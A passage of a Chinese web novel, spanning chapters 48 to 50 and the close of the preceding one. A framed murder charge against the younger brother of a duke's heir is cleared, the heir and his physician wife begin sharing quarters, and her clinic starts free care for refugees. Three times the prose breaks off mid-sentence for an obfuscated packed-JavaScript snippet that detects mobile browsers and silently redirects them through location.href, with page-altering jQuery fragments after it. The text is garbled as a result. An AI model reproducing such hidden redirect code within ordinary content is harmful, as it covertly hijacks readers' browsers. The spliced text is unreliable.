忠勇侯张勇拍了儿子一掌,“你这小子真是死脑筋!你既然没看到澄儿杀人,那他就没有杀人!你就不能替他作个证?” 张练叫屈道:“爹,没有看到的事情孩儿怎么作证?我替他作证,那就是假证!孩儿绝不会做这等违背良心之事!” 张勇见儿子这般顽固,又要再拍他一巴掌,被李济拦住了。 “练儿无错,勇叔快莫如此。” 张练先行退下,李济道:“勇叔,那背后之人如此处心积虑地陷害澄儿,除了给镇国公府泼脏水之外,恐怕还打着分化咱们两府、让咱们两府反目成仇的主意,勇叔千万莫要上了他们的当。” 他们就是知道张练是这种性子,才会如此安排,好让两府互生怨怼。 张勇被提醒,惊出一身冷汗,“济之,你说得对。” 从侯府出来,李济交代吴骏查与李澄同行之人的底细等事情后,便来了仁心医馆,找大夫去救治老农。 陈灵珠作为楚大夫的徒儿,又是李澄的二嫂,自然是要同去的。 她与李济同车,楚大夫另坐一车。 “夫君,我觉得,二弟不太像敢杀人的人。” 她对李澄不算很熟,但也有些了解。她记得,李澄胆子比较小,有一次看到一只断了头的鸟还被吓到了。 这样的人,若说误杀了人还有可能,但调戏民女,草菅人命? 不太可能。 “若说夫君你做出了这样的事,我还能相信,二弟……我想象不出来。” 李济:“……” 见他脸色不善,她忙道:“我不是说你会调戏民女,我是说你更可能杀人……” 李济的脸色更黑了。 越描越黑,陈灵珠放弃挣扎,尴尬地笑了笑:“总之,我不相信二弟会做出这样的事。” 李济道:“他确实不是这样的人。” 陈灵珠分析:“若不是二弟做的,我觉得有两个可能。一个是意外,是同行的人杀了人推到二弟的身上去。另外一个可能,就是有人刻意陷害二弟。” “嗯。”他点头表示同意,“你说得没错。” “构陷的可能性更大,因为若是意外,另外几个人不会这么快就达成一致,异口同声指证二弟。他们如此毫无破绽,应是早就商量好的。” 李济面露赞赏,“不错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792004|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她蹙眉,“若是构陷,谁会这般恨二弟,要如此害他?” 老实说,这件事一发生,她就想到了武安侯。 李澄年纪小,平时也是与人为善,应不至于有这样非要置他于死地的仇敌,还用的这样的方式。 但他的父兄就不同了,政敌不少,还有武安侯这种阴谋诡计层出不穷之人。以武安侯的做派,难保他不会以李澄作筏子,败坏镇国公府的名声,进而打击李跃和李济。 李济道:“究竟是谁,等老农醒了就知道了。” 他虽不会将希望全部放在老农身上,但老农若是能醒,那就再好不过了。 李济不说她也会全力以赴,“夫君放心,我会尽力,师父也是。” 一个多时辰后,马车到了老农的茅屋前。 京兆府的人见状上前阻拦——镇国公府派了好几个人过来保护老农,他们只当看不到,毕竟也没影响到他们,但给老农治伤可不同,万一出了差池,他们是要丢差事的。 但他们也知道自己拦不住,何况李济说得对,现下谁都有可能会伤害老农,唯独镇国公府的人不会。 于是衙差在李济说有何后果自己一力承担之后便退到了一旁。 李济、楚大夫、陈灵珠三人进入茅草屋内,屋里只有一张简陋的床和两张破旧的椅子,但干干净净,看得出来,住在这屋子里的是干净勤快的人。 陈灵珠暗暗叹了口气,听说这老农只和女儿两个相依为命,如今女儿死了,老农自己昏迷不醒,真是无妄之灾。 老农是后脑勺被撞伤,京兆府安排的大夫给他包扎过了,白色的布条渗出血迹。 楚大夫上前,给老农把脉后,让陈灵珠取出针,在火上烤了烤,在老农的手上轻轻扎了一针,仔细观察他的反应。 过了一会儿,楚大夫对李济道:“我给他施针试一试,或许有一线机会。” 李济拱手道谢:“有劳楚大夫、陈大夫。” 楚大夫微微颔首,陈灵珠也颔首。 这是她第一次参与救治伤得这么重的病人,对她来说,老农是关键证人,但他首先,是一个人。 作为一个大夫,她想让这个人活过来。 师徒俩配合得甚是默契,楚大夫扎针,陈灵珠便在一旁烤针、递针。 针灸完,楚大夫用帕子擦了擦汗,又从头将穴位、施针要点等对陈灵珠细细说了一遍。陈灵珠用心记下,将自己有疑问的地方提出。 李济看着他的妻子。 天气热,她薄薄地出了一层汗,本就莹润的皮肤白得发亮,眼睛更是亮得惊人。 她是真的喜欢做大夫。 过了一炷香时间,楚大夫将老农身上的针拔去,又观察了一阵子,道:“明日我再来给他施针。” 李济谢过楚大夫并派人护送他回医馆,安排人好生照顾老农,这才与陈灵珠回城。 陈灵珠打开车窗,望着天上的上玄月。 月光洒在她的脸上,映得她的脸如白玉一般。李济问她:“今日花灯看不成了,你可会怪我?” 她摇摇头,笑道:“有何可怪的,夫君又不是故意的。再说……” 她没说下去,对她而言,看花灯真的没有治病救人重要。 李济笑了笑,忽然叫车夫停车。 陈灵珠还没来得及问他做什么去,他已经跳下了马车,然后几个腾挪跳跃,到了田田的莲叶旁,举目四望,然后才伸手摘了一朵莲花。再几个纵跳,回到了马车旁。 他将手上一枝沾了薄薄露水的莲花递给陈灵珠:“送你。” 陈灵珠接过,低头看了看。这是一枝还未全开的并蒂莲,绿色的萼片,红色的花苞。 她将那并蒂莲举到鼻端旁,嗅了嗅。 一股好闻的香味,沁入了她的鼻子。 她微笑起来。 李济见她面带笑容,眼波流转,也微笑道:“你知道世人多用并蒂莲隐喻何物?” 陈灵珠当然知道,所谓“青荷盖绿水,芙蓉披红鲜。下有并根藕,上生并蒂莲①。” 又有诗云:“俱飞蛱蝶元相逐,并蒂芙蓉本自双②”,说的是男女相爱相依。 但这些话不好出口,她一心一意地闻着手中那朵莲花。 李济笑道:“我就知道你不知道,并蒂莲通常喻兄弟同气连枝,或是作为祥瑞之兆。” 陈灵珠将莲花塞回给他,扭过脸去。 李济哈哈大笑,拉起她的手掌,将花重新放到她的手中道:“除此之外,还喻夫妇恩爱,永结同心。” 陈灵珠慢慢转着那并蒂莲,悠悠道:“这只是人们的美好愿望罢了。实际上,今日送并蒂莲,明日说不定就要纳妾,我早就听说,男人没一个好东西。” 李济闻言也不恼,认真地想了想道:“你说得很对,男人确实没一个好东西。不过我虽也属坏东西之一,却绝不会纳妾。” “哦?为何?你与别的男人有何不同?” 他笑道:“一个你我尚且无法支应,如何纳妾?” 陈灵珠:“……” 48. 第 48 章 第二日,京城便满是流言,说镇国公李跃第二子强抢民女不成,恼羞成怒动手杀人。 “哎,听说了吗,镇国公府的二公子,看到一个农家女有几分姿色,就想逼.奸人家,人家反抗,他就把人给杀了!杀了小姑娘不算,还把小姑娘的爹也杀了!” “有这事?这还有王法吗?” “镇国公还要什么王法,他们自己就是王法!镇国公父子本就权倾朝野,陛下因为先太后的缘故,又总是偏宠他们!这种情况之下,谁不膨胀?我听说,那位杀人的公子才一十六岁,小小年纪倒是心狠手辣!” “那杀了人就这么算了?” “咱们草民的命就是贱命一条,不值钱,你看着罢,不用两天,这位杀人……公子准能出来。” “都说镇国公父子是咱们百姓的保护神,我还以为他们家是好的呢。” “什么保护神?你没听说,听说镇国公父子的战功都是假的呢。我还听说,光是镇国公府的管家,家里就有几十万两……” “镇国公父子竟是这样的坏人?” “可不是,听说镇国公府的这位公子杀人时,忠勇侯府的小公子也在,结果你猜怎么着,那忠勇侯府的小公子愣是不肯给他作证!” “那忠勇侯府的小公子倒是正直。不对,在镇国公府看来,这忠勇侯府的公子太不讲义气了。” “谁说不是呢,但依我说,那镇国公府的公子也是活该……” 民间沸沸扬扬,朝堂上也马上有了反应。先是有御史口沫横飞地弹劾李跃、李济纵子、弟行凶,然后火便烧了起来,陆续有人参李跃和李济多项罪名,包括但不限于拥兵自重、冒领军功、克扣军饷、嚣张跋扈、滥杀无辜。 连京兆尹都受到牵连,说他收受贿赂、包庇真凶,是为镇国公父子党羽。 这下,京兆府尹承受不住压力,连忙将李澄从条件稍好的牢房改到了阴暗潮湿的牢房。连陛下也抵挡不住汹涌的群情,召见了京兆尹,与京兆尹说,天子犯法与庶民同罪,有罪则当罚,百姓的父母官应当不畏强权,为民伸冤,让他查清事实,秉公办理。 于是从宫中出来后,京兆府尹马上讯问跟李澄一起出去的陆嘉、邢益等人,几人一口咬定,是李澄见人家小姑娘貌美,起了色心,小姑娘不从,他恼羞成怒,从邢益身上抽出剑,将小姑娘杀了。小姑娘的父亲要与他拼命,他又把那老农推倒,本来还要杀那老农,被他们阻止了。 邢益也道:”大人,那剑虽然是我的,但人不是我杀的!是李澄突然冲了过来,一把抽出我的剑,我本来想拦他的,但没来得及!可怜那小姑娘年纪轻轻,就这样死了!大人,此事,忠勇侯府的小公子,还有押送我们来的邻人都可作证,当时那剑就在李澄手上!“ 府尹又将李澄提堂,李澄没有杀过人,如何肯认? 府尹便令上刑,将李澄打得皮开肉绽。 但李澄虽然文弱,身上却有几分傲骨,无论怎么受刑,都咬死了不认。 府尹也怕万一真把李澄打出个好歹来,陛下虽说让他秉公办理,却没有让他滥用私刑,只能把李澄先关回监牢,押后再审。 李济、陈灵珠等人为李澄奔忙,二夫人王氏心里却犯起了嘀咕。 李照葵的未婚夫婿家里已经过来请了期,迎亲时间定在四个月后。 说起这门亲事,二夫人也有点不满意。 李照葵许的是如今在扬州做知州的胡辛的长子胡垚。女儿要远嫁不说,二夫人是觉得以镇国公府的门楣,李照葵可以选择更好的。 但太夫人说,胡垚那孩子,前途不前途的还在其次,最主要的,是他一身正气,为人坦荡,以后万一有个什么事,当会护着李照葵。 二夫人不以为然,前途是最重要的,怎么就其次了?就说她和赵氏,镇国公对赵氏顶多叫相敬如宾,二爷对她倒是百依百顺的,可是二爷对她再好,又有什么用呢,她过得照样不如赵氏。 胡垚虽说中了举人,可他爹不过是个外任的从五品知州,以后能不能中进士,能不能回到京城还两说。 至于说护着李照葵,难道国公府这么大一个靠山,还护不住她的女儿? 而且胡垚的那些优点,也不是多稀缺,随便许谁,照样对她的女儿死心塌地。 但丈夫听了婆母的,非要答应这门亲事,二夫人也是无话可说。 事情已经定了下来,二夫人抱怨也没用,便想着为女儿筹办一个风风光光的婚礼。 谁知道这时候李澄惹了事。 她来到太夫人的院子,在太夫人面前意思意思关心了几句,便话锋一转道:“母亲,澄儿这案子,也不知何时才能了结,葵儿这头可怎么办呢。唉,也是不巧,怎么偏偏这当头澄儿犯了事!澄儿这孩子,小时候看他挺好的,怎么大了成了这样。大嫂也是的,虽说不是自己亲生的,多少也该看着点。如今这个情况,葵儿的夫家知道了,还不知道会怎么想呢……” 迎亲的日子没多久就要到了,这当口镇国公府出了这样的丑事,亲家会怎么想?宾客会怎么想? 这不是害了她的葵儿么,本来就是低嫁,如今又遇上这样的破事! 都怪那赵氏没有教好,平日里不是总以为自己会教孩子嘛,怎么连杀人犯都教出来了。 所以她这番话,一是抱怨,二是告国公夫人一状。 太夫人看着她,浑浊的双眼迸出了火。 “王氏,平日里,你的那些小心思我不是不知道,但无伤大雅的,我都没有跟你计较过。” “可你听听,你说的这是什么混账话!” “澄儿性子如何,你当婶娘的当真一无所知?” “你若不知,就该检讨自己!” “外人也就罢了,你一个当婶娘的,竟这样说自己的侄儿!” “一个家族,一荣俱荣,一损俱损,难道这个道理你也不懂?” 太夫人还是第一次对她如此声色俱厉,二夫人吓了一大跳,急道:“儿媳不敢,请母亲息怒。” 太夫人冷笑,“不敢?我看你敢得很!融儿在外头,我看你替他养儿育女的份上,平时对你多有纵容,不想竟将纵得你不知天高地厚,什么话都敢拿到我面前来说!” “澄儿明摆着是被冤枉,你不替他忧心,替他筹谋也就罢了,怎么,你还想开祠堂,将他逐出家门不成!” 王氏万万没想到,她不过抱怨了几句,就惹出了太夫人这一番重话。 她觉得十分委屈,但见太夫人气得胸口起伏不定,她也害怕了,万一真把太夫人气出个好歹来,算丈夫不休她,她也没法在镇国公府立足了。 她忙哭道:“母亲,是儿媳错了,儿媳胡乱说话,求母亲息怒,别气坏了身子。母亲真有个差池,儿媳就万死难辞了!” 太夫人喘了一阵,气息稍定。 “你去罢,再胡说,就不必到我面前来了。” 二夫人还想解释几句,太夫人闭上了眼。 她只好诺诺应是,退了下去。 吴骏很快查到那天跟李澄一起出去的陆嘉、邢益等人的身份背景,陆嘉是畿县的一个县令后院一个姨娘的远房侄儿,邢益是那个县令一个同年的乡邻,而这个县令,是武安侯的门生。 陆嘉、邢益等人都是孤身一人在京城,把尾巴收拾得干干净净。 李济冷笑,既然他们如此迫不及待,那他就成全他们。 很快,武安侯周简收受贿赂、凌虐婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797886|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女之事便传得沸沸扬扬,枢密副使吕用强占民田、欺男霸女、私挖铁矿、□□其嫂之事也在一夜之间人尽皆知。 周简和吕用的事儿太大,这下,不光是百姓,连朝堂上的官员都暂时放过了镇国公父子,全力攻击这二人。 …… 武安侯跪在崇政殿的金砖上,口称冤枉。 皇帝狠狠地将砚台砸到地上,冷笑道:“冤枉?周简,我知道你胆子大,但没想到你胆子这么大!私挖铁矿?你想干什么?造反吗!” 私挖铁矿一事是吕用做的,但武安侯作为他的上官,怎么可能不知?怎么可能没收受了好处? 对皇帝来说,抢占民田、欺男霸女、收受贿赂都不算什么,他可以睁一只眼闭一只眼,但他不能容忍私挖铁矿。 私挖铁矿,就可能私造兵器。 武安侯痛哭流涕道:“陛下,陛下冤枉啊!微臣对陛下忠心耿耿,怎么可能会想造反?这些都是……都是李济给微臣捏造的罪名,他想要臣死,请陛下为微臣做主啊!” …… 楚大夫给老农针灸了几次,又灌了汤药,老农还是未醒。 陈灵珠不免有些焦虑。 最好的证人便是这老农,若老农不醒,哪怕李济能找到其他的证据,始终不如老农的证词有力,那么即使李澄能脱罪,也会被人诟病。 李济让她不必过于担心,尽力了就是。 陈灵珠见他做好了两手准备,心下稍安,但老农也是一条人命,且她第一次参与医治这样重伤的病人,无论如何也不肯轻言放弃。 坚持了数日,和楚大夫甚至将用在李济身上的方法都用了一遍,老农这才终于醒了。 陈灵珠颇有些欣喜若狂,甚至流下了一滴激动的眼泪。 李济微笑着拍了拍她的手,让人拿来米汤喂老农吃下去。 老农吃了米汤恢复了一点力气,记忆也回笼,想到女儿惨死,痛哭了起来。 他只有一个女儿,本来父女俩相依为命,虽然日子清苦了些,但父慈女孝,也不是没有盼头。如今女儿说死就死了,什么都没有了。 痛苦而沙哑的呜咽之声令人闻之心碎,陈灵珠听了也眼中含泪。 等老农哭够了,李济才问他是否记得杀他女儿的人的相貌。 老农涕泪模糊地点头,杀他女儿的人,化成灰他也认得! 李济便拿出李澄、陆嘉、邢益等人的画像给他看,他一眼就认出了真正的凶手。 不仅如此,除了老农,吴骏还找到了另外一个证人。 京兆尹次日升堂审案,老农和另外的证人都指认杀人的是邢益,李澄当堂释放。 邢益俯首认罪,但他坚称背后无人,是他不小心杀了农家女,见李澄是镇国公府公子,家大势大,想来脱罪不难,这才推给了李澄。 再三拷问,邢益就是不改口,次日还自杀于京兆府狱中。 京兆尹只能结案。 另一边,朝臣吵吵嚷嚷,不停上书让皇帝杀了武安侯和吕用,皇帝不胜其烦,终于下令斩了吕用及兵部的几个官员,并抄了他们的家,而周简监察、约束下属不力,严重失职,且收受贿赂,也被削去枢密使一职。 李澄虽无罪释放,民间还有些不利于镇国公府的流言,李济便让人将这件事写成故事,让说书先生在各个茶馆、酒楼流传出去。 不久,全天下的人都知道,镇国公府在此案中是被奸人所害,受了冤枉。 陈灵珠则跟着师傅将老农彻底医治好,并与李济商量后给了老农一笔钱,将他安顿好。 老农的女儿遭此横祸,说到底,也是因为有人要陷害镇国公府而被连累,镇国公府虽然也无辜,但略尽绵力还是做得到的。 49. 第 49 章 陈灵珠从医馆回来,先回了西院更衣。 李济在等她用膳的时候,后知后觉地发现一件事——直到今日,他与陈灵珠还分居两院呢。 夫妻分院而居不是什么稀罕事,但像他们这样,没有圆房,却住同一个大院而分居东西的,怕是绝无仅有。 陈灵珠更衣毕,很快过来了,两人对坐用膳。 李济踌躇了一下道:“有一事,我想与你商量。” “何事?” 他有些欲言又止。 当初她在他昏迷时用臭不可忍的东西熏他,又因她的身份,他对她产生了偏见。 如今想来,他自然是太过分了,若他是陈灵珠,估计也会气冲冲地搬走,省得看他的脸色。 可惜他当时太自以为是,根本不知道将来的他会有多后悔。 理不直,气就不壮。 但该说还是得说。知错而不改,不好。 “你总住在西院也不是事儿,不如,还是搬回东院来住罢?” 陈灵珠看他一眼,继续用膳。 见陈灵珠没说话,他忙道:“或者,我搬去西院也可以。” “我觉得两个院子都一样,没必要换来换去。” 李济:“……” 他是这个意思吗? 他清了清喉咙,“我的意思是,不如,我们一起住。” 陈灵珠闻言,停下了筷子。 一起住? 论起来,她与李济是夫妻,一起住好像也是应该的。 但当初好像是他先拒人千里之外的。 而且她一个人自由自在惯了,也不习惯与男子同居一室。 见她迟疑,他忙道:“过去是我过分了,你生气也是该的。但从前我们是陌生人,如今已是琴瑟和鸣的夫妻了,迟迟不合屋,说不过去。” 陈灵珠想:这个人好厚脸皮,他们何来的琴瑟和鸣。 又想,罢了,一开始他们两人谁也不了解谁,才会针尖对麦芒。他们之间的恩怨,其实早在你来我往中了结了,细论起来她也没受什么委屈。反倒他在几件重要的事情上都帮了她,从前的些许龃龉,过去就过去了罢。 只是住一起,或许就要圆.房,李济把她当镇国公府的人,她也愿意把他当亲人,只是亲归亲,让她与他圆.房,还是一件无法想象的事。 她还没准备好。 “我觉得,要不,还是等夫君身子好些……” 李济笑道:“只是住同一个院子而已,与身体好不好有什么相干。你的脑袋瓜子一天天在胡思乱想些什么?” 陈灵珠:“……” 这个人,就是爱倒打一耙,可是他刚才的话确实没提到圆.房的事,她一个姑娘家,也无法就此事反驳。 既然不用圆.房,住一个院子便住一个院子罢,她点点头,答应了。 “那你搬到西院来。” 李济笑了,“好。” 知道陈灵珠要与李济一起住,她的奶娘姜嬷嬷最是高兴。 这些日子,眼看少夫人与世子的感情越来越好,可两人却还是一人住东院,一人住西院,完全没有合院的意思。 她本来还想劝一劝少夫人,让她想办法搬到东院去住,没想到世子自己先搬到西院来了。 她放下心头大石,暗念菩萨保佑。 看着下人们忙忙碌碌地搬他的东西,李济心情愉悦。 但他很快知道,与陈灵珠一起住其实是个自讨苦吃的坏主意。 戌时末,两人刚刚下完一盘棋。 陈灵珠掩住嘴打了个哈欠,眼眸霎时浮上了泪光。 见她累了,他道:“歇息罢。” 陈灵珠点点头,想起一事,赧然道:“有一件事,我要提前跟夫君说一声。” “何事?” “我睡相不太好。” 李济不信,一个小姑娘,睡相能有多差。 “无妨。”他道:“我睡相也不好。” 陈灵珠怀疑地看了看他,既然如此,两人也算扯平了。 两人各自洗漱,陈灵珠换上了一件藕荷色的中衣。 当她穿着这件柔软贴身的丝绸中衣朝他走来时,李济才发现,原来看起来有些单薄的她,其实也颇为玲珑.有致。 他喉头发紧,微微不自在地扭开脸,看着床问她道:“你睡外边还是里边?” 其实陈灵珠习惯的是“中边”,整张床都让她滚来滚去才好,然而现在她必须与李济分享这张床,想了想,她道:“夫君先选罢,我无所谓。” 李济暗想,既然她睡觉不老实,那还是让她睡里边为好,免得半夜从床上掉下来,遂道:“我睡外侧。” 陈灵珠道好,爬到里侧躺下,拉上被单。 李济吹灭了烛火,然后在外侧躺下。 夜深人静,两人都平躺着,一动不动,只能听到彼此的呼吸之声。 陈灵珠有些睡不着,这虽是她睡惯了的床,但身边第一次如此近地躺了一个男子,她不习惯。然而动来动去地难免尴尬,她只好闭上眼,慢慢酝酿睡意。 李济更睡不着,她身上发出的幽幽香味,不停地侵入他的口鼻之中,令他口干舌燥,身上更是悄悄起了变化。 他当然知道这是怎么回事。 但他还不能做些什么。 楚大夫说,以他现下的身体状况,行.房虽然无碍,但最好不要考虑子嗣一事。若暂时不要子嗣,他又与她行.房,那她便要喝避子汤,避子汤寒凉,于身体有碍。 他还是忍一忍的好。 只是越忍,反而越不能忍。他努力地平复呼吸,默默在心里念着心经。 但心经也帮不了他。幸而天黑,她看不见。几次想起身去盥室冲澡,又怕吵醒了她,更怕她突然睁开眼睛问他:“夫君做什么去?” 陈灵珠一开始睡不着,但躺着躺着,睡意袭来,她还是睡着了。 耳侧传来她轻而绵长的呼吸声,李济缓缓吐出一口气,翻了个身,在黑暗中面对着她。 陈灵珠此时规规矩矩地睡着,显得很是乖巧。 黑暗中,她的脸庞微微泛着光,看起来极为莹润。 手感一定很好。 他想着,将手朝她的脸庞慢慢伸了过去,将将要触及时,陈灵珠却咕哝一声,手臂突然一甩,脚又将被子一踢,然后翻身一滚。 李济一开始以为她醒了,后来才发现不是,她只是在做梦而已。他不由失笑,原来她说的睡觉不老实,并非虚言。 仔细想想,她虽然爱捉弄人,但相处这么久,她确实不曾撒过谎。 陈灵珠已滚来他的身侧,幽兰般的香味更明显了。 他在暗中苦笑了一声,这怎么睡得着。 次日陈灵珠醒来时,因一时有些回不过神,见身边躺着个人,还是个男子,不禁吓了一跳。定睛一看,这男子是李济,这才想起他已经从东院搬来了西院,如今和她共享一张床了。她吓了一跳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802341|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时,李济也醒了过来,不知怎的,他吓得更是厉害,还将被单往上拉了拉,将自己紧紧包裹。 陈灵珠:“……” 她又不是采花贼,何至于此。 二人大眼瞪小眼,李济先反应过来:“你醒了?” 陈灵珠点头道:“夫君也醒了?” 两个回合干巴巴的对话后,两人尴尬地相视而笑。 尬笑毕,陈灵珠看了看外面的天色,道:“时候不早了,我们起来罢。” 李济没动,他道:“我昨晚睡得不好,想再睡一会儿。你先出去用朝食罢,我一会儿再过去。” 说着将被子再裹了裹,侧着身子让出一条道来。 陈灵珠以为李济跟她一样不习惯与别人同睡,所以睡得不好,不疑有他,自己先爬了出来。李济见她出去外间洗漱了,连忙掀开被子跳下床,在自己睡的位置上看了又看。 还好,没有沾到。 昨夜他睡得很晚,好不容易睡着,却又做了些乱七八糟的梦,醒来,果然情况有异。这虽是人之常情,男人的正常反应,但在陈灵珠这样一个未知人事的小姑娘面前,他到底有些不好意思。 快手快脚地脱下弄脏的衣裤,从衣橱里找了身干净衣裳换上,他才松了口气。 只是这脏衣裤如何处理是个问题。如今与陈灵珠同住,阿拙自然不能进来服侍了,只能让婆子拿出去洗。 想了想,他将脏衣裤卷成一团,放到了一旁。 跟陈灵珠说要睡回笼觉,他也不好马上出去,在内间延挨了一会儿才来到用朝食的次间。 她的两个丫鬟都在她的旁边,他略略放心。最担心的便是陈灵珠这两个丫鬟去收拾内室,那个长脸的还好,稳重些,这个圆脸叫紫苏的,一看就是个不晓事的,见着那衣裳,说不定就要大惊小怪,到时若被陈灵珠知道了,他颜面何存! 陈灵珠见他这么快出来了,招呼他坐下,问道:“夫君怎么不睡了? 李济扯个理由道:“醒了睡不着了。” 陈灵珠也没有怀疑,问他:“我昨晚睡觉没有吵着夫君罢?” 李济睁眼说瞎话:“没有,你睡相甚佳。” 陈灵珠放下心来:“那就好。” 又沾沾自喜地对茯苓、紫苏两个丫鬟道:“你们总说我睡觉不老实,你们看,我已经改了。” 李济不免失笑。 紫苏笑道:“是是是,少夫人已经改了,睡相最好的就是我们少夫人。” 李济一边用早膳,一边偷偷地关注两个丫鬟,尤其是那个圆脸的叫紫苏的丫头。 陈灵珠很快发现了他的异常,问道:“夫君怎么了?” 怎么老是偷偷看紫苏她们两个? 她倒不是怀疑李济对她的两个丫鬟起了色心,只是觉得他神情古怪,不似平常一般自然。 李济心头猛地一跳,忙道:“没什么,我是看你这两个丫鬟平日里服侍你还算尽心,想奖赏她们一点东西。” 陈灵珠替两个丫鬟高兴道:“那世子要奖赏她们什么?” 李济不过胡说八道,哪里想过要奖赏她们什么,好在他反应够快,马上道:“就奖赏她们一年月例罢!” 两个丫鬟的月例都是二两,一年就是二十四两,骤然发了笔财,两个丫鬟都很高兴,忙上前谢过世子。 见事情遮掩过去,眼角余光又瞥到一个婆子已将那脏衣裳拿了出去,李济咬了一口煎饼,借着咀嚼偷偷地舒出一口气。 50. 第 50 章 陈灵珠每日早出晚归,在医馆里越来越习惯,也越来越得心应手。 见到她在仁心医馆出没的人越来越多,镇国公府世子夫人行医的名声渐渐传了出去。 虽然明着暗着笑话、鄙夷的人不少,甚至还有因为看不惯此事而前来找事的人,但也有很多人因此而尊敬、羡慕、佩服她。部分之前因误信李澄杀人而对镇国公府印象不佳的百姓也因为陈灵珠而对镇国公府的印象渐渐扭转。 她的行为甚至激励了一些姑娘与家里抗争,去做一些自己想做的事。 不过这些陈灵珠都不知道,她的心思都放在医馆和病人上面,贬低她也好,称赞她也罢,于她而言,都不那么重要。 这一日,一个衣衫褴褛的男人带着他四五岁的女儿前来看诊,小姑娘病得很重,又拉又吐,高烧不退已经两天,到了医馆时,连说话的力气都没有了。 楚大夫给小姑娘把了脉,开了药方后递给青儿,“先抓三天的药。” 青儿答应了一声,到柜上抓药。 男人攥了攥手,看着楚大夫欲言又止。 “大夫,我……” 楚大夫看他一眼,叹了口气。 “罢了,孩子可怜,诊金和药费你先欠着罢,只是我这是医馆,不是慈善坊,以后方便了要还医馆才是。” 男人流下了泪,跪下给楚大夫磕了三个响头,“大夫的大恩大德,小人没齿难忘!若非实在没办法,孩子又病得重,小人也不会这般没脸。” 他是流民,可原来他在家乡,也是有田有地的人家。 他的田他的地是怎么没的呢?男人记不清了,只记得他和父母妻儿拼命干活,不敢吃不敢用,却怎么也交不上官府征收的各种名目繁多的税,他们越来越穷,先是没了田,然后没了地,然后是房屋,再是父母、妻子、儿子,一样一样地全部没了。 如今,他只剩下这个与他相依为命的女儿,可是他的女儿病得奄奄一息,再不看大夫吃药,他就连这个女儿都要失去,只剩孤身一人了。 青儿抓好药过来了,递给男人,“给。” 男人接过药,再磕了个头,抱着女儿走了。 “再这么下去,咱们医馆可能就要倒闭了。”男人走后,楚大夫无奈道。 这已经是今天的第三个,这个月的不知道第几个了。流民越多,看不起病的人也就越多。 “师父心肠软。” 楚大夫笑得无奈:“医者父母心,做大夫的,总不能见死不救。” 俞大夫瞥他一眼,她这个丈夫一身的臭毛病,但心肠是真的没话说,这也是她会嫁给他的原因之一。 然而在这个世道,心肠太软并不见得是好事。 陈灵珠这几日将流民的情况看在眼里,她也和师父、师叔、师兄等人一样,做不到见死不救。想了想,她道:“师父、师叔,徒儿有个想法。” 楚大夫让她说,陈灵珠道:“京城里看不起病的人那么多,靠咱们一家医馆,再怎么免收诊金和药费,能帮到的人到底有限。” “师父、师叔,不如咱们每日,或者每两日设一个时辰的义诊,这样一来,可以赚一个好名声,让医馆的生意更好;二来,咱们这么做,以仁心医馆的名气,定然有人效仿。” 她指指隔壁医馆,“别的医馆不说,至少隔壁一定会模仿咱们医馆。” “这样一家带一家,以后京城提供义诊的医馆多了,能够帮到的人也就更多了。这虽然也是治标不能治本,解决不了源头的问题,但总算尽了咱们身为大夫的一份力。” “师父、师叔觉得如何?” 楚大夫沉吟了一会儿,捋着胡须道:“你这个法子……倒也可行。也罢,咱们医馆先试一试,就是不能带动其他的医馆,咱们损失也不大,权当帮了那些可怜人罢。” 俞大夫也说好,事情就这么定了下来。 陈灵珠回了镇国公府用罢晚膳,便皱着眉头拿着算盘噼里啪啦地算账。 李济见她也不去洗漱,到了时候也不歇息,便问她在做什么,她道:“最近流民很多,仁心医馆每两日要设一个时辰的义诊给流民和穷人看病,要出人,还要出药。出人还好,我们累一些就是,但长年累月地提供药,这笔费用可不小。虽说名声好了,医馆的生意也会更好,可谁也不能保证赚到的钱一定比花出去的多。所以我想着,要不我也出一部分钱,贴补贴补师父和师叔,就当我与他们合开医馆了。” 李济听了,把杏儿叫进来让她去拿私库钥匙,杏儿很快把钥匙和账本都拿了过来,李济推到陈灵珠面前,道:“少夫人赏脸收下罢?” 陈灵珠有些犹豫,她暂时并不想让李济掺和到她的事情之中,何况暂时也没到那一步。她笑道:“先不用,师父师叔还不一定同意收呢,就是他们同意了,我自己也还有钱,使不上夫君的。” 李济笑道:“什么你的我的,我们成了亲,就都是你的。至于怎么用怎么安排,你自己看着办就是。” 李济居于庙堂之上,对于流民的情况,当然也有关注。 工部近日也有一些营造和水利,以工代赈,安置部分流民。 他尽了自己的职责,陈灵珠作为医者,也在尽自己的那份力。 这种夫妇从不同角度共做一件事的感觉有些奇妙,虽然他们的努力也许都是治标不治本,但他会尽快,将本也治了。 